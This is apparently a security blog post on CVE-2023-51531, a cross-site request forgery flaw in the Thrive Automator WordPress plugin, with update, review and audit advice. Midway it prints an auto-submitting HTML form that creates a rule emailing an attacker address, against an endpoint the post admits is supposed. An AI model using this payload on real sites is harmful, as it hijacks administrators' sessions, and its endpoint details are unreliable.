---

CVE-2023-51531 is a security vulnerability involving Cross-Site Request Forgery (CSRF) in the popular Thrive Automator WordPress plugin, from its initial versions up to and including 1.17. If you are running any Thrive Themes products—especially Thrive Automator as part of your workflow—this post is for you. We’ll break down how this CSRF flaw works, show you simple exploit code, and walk you through patching your site.

What is Thrive Automator?

Thrive Automator is a WordPress plugin designed to help users create event-based automations, like triggering an email or changing user roles after certain actions. This tool is widely used on marketing-focused WordPress sites.

CSRF in Plain English

Cross-Site Request Forgery (CSRF) occurs when a malicious site tricks a logged-in user into performing an action without their intent. If the WordPress plugin doesn’t use nonce checks or other verification methods, attackers can forge requests as if they came from the victim.

With Thrive Automator up to 1.17, parts of the backend did not properly check that requests were coming from real users on the same site. That means malware, an evil ad, or a phishing email could make your browser send commands to your site without your knowledge.

How Does CVE-2023-51531 Work?

For Thrive Automator <= 1.17, a bad actor could create a special HTML page that, when visited by an administrator already logged into their WordPress dashboard, makes your browser send damaging configuration requests to your real site.

Suppose Thrive Automator has an endpoint like

POST /wp-admin/admin-ajax.php?action=thrive_automator_save_rule

Without nonce checking, any authenticated request could create or update automation rules.

Here’s a CSRF proof-of-concept that could, for example, create a rogue automation rule

<html>
  <body>
    <form method="POST" action="https://victim-site.com/wp-admin/admin-ajax.php?action=thrive_automator_save_rule"; id="csrf_form">
      <input type="hidden" name="rule_name" value="Send admin email to attacker" />
      <input type="hidden" name="action" value="thrive_automator_save_rule" />
      <input type="hidden" name="steps[][type]" value="send_email" />
      <input type="hidden" name="steps[][email]" value="attacker@example.com" />
      <input type="hidden" name="steps[][content]" value="Pwned!" />
      <!-- Add other fields as required by the plugin's API -->
    </form>
    <script>
      document.getElementById('csrf_form').submit();
    </script>
  </body>
</html>

What happens?
If an admin with an active session visits a malicious website hosting the above code, their browser submits this form silently to your WordPress backend. The plugin doesn’t check nonces—a key WordPress security feature—so the attack sails right through.

An attacker could, for example, email this page as a malicious attachment or link.

Potentially chain this to further exploits, especially if other plugins are misconfigured

Because these are admin-level actions, the attacker gets access equivalent to your most trusted users.

1. Update Immediately

Thrive Automator changelog and downloads

If you are running any version up to 1.17, update to the latest release immediately. Versions after 1.17 have included nonce verification and other CSRF countermeasures.

2. Review Admin Automations

Check your automation rules for any suspicious or unauthorized changes, especially actions that forward data externally or assign site privileges.

3. Educate Users

Remind administrators never to visit untrusted websites or click random links while logged into critical dashboards.

4. Consider Security Plugins

Plugins like Wordfence help monitor for changes and odd requests, though they can’t fix a plugin’s own code.

5. Test Your Other Plugins

Any plugin with custom forms or backend AJAX endpoints–not just Thrive Automator–should be checked for WordPress nonce usage.

Learn More & References

- Original plugin changelog and updates
- CSRF explained by OWASP
- Official CVE record for CVE-2023-51531

Conclusion

CVE-2023-51531 shows how even respected, widely used plugins can slip up on core WordPress security. Always keep your plugins up to date, audit for nonces in custom code, and remember that plugin vulnerabilities often let hackers leapfrog normal logins.

Stay safe, stay updated – and share this post with any Thrive Themes users you know!

If you have more questions or need help securing your site, drop a comment below or reach out to your hosting support.

Timeline

Published on: 02/29/2024 05:15:09 UTC
Last modified on: 02/29/2024 13:49:29 UTC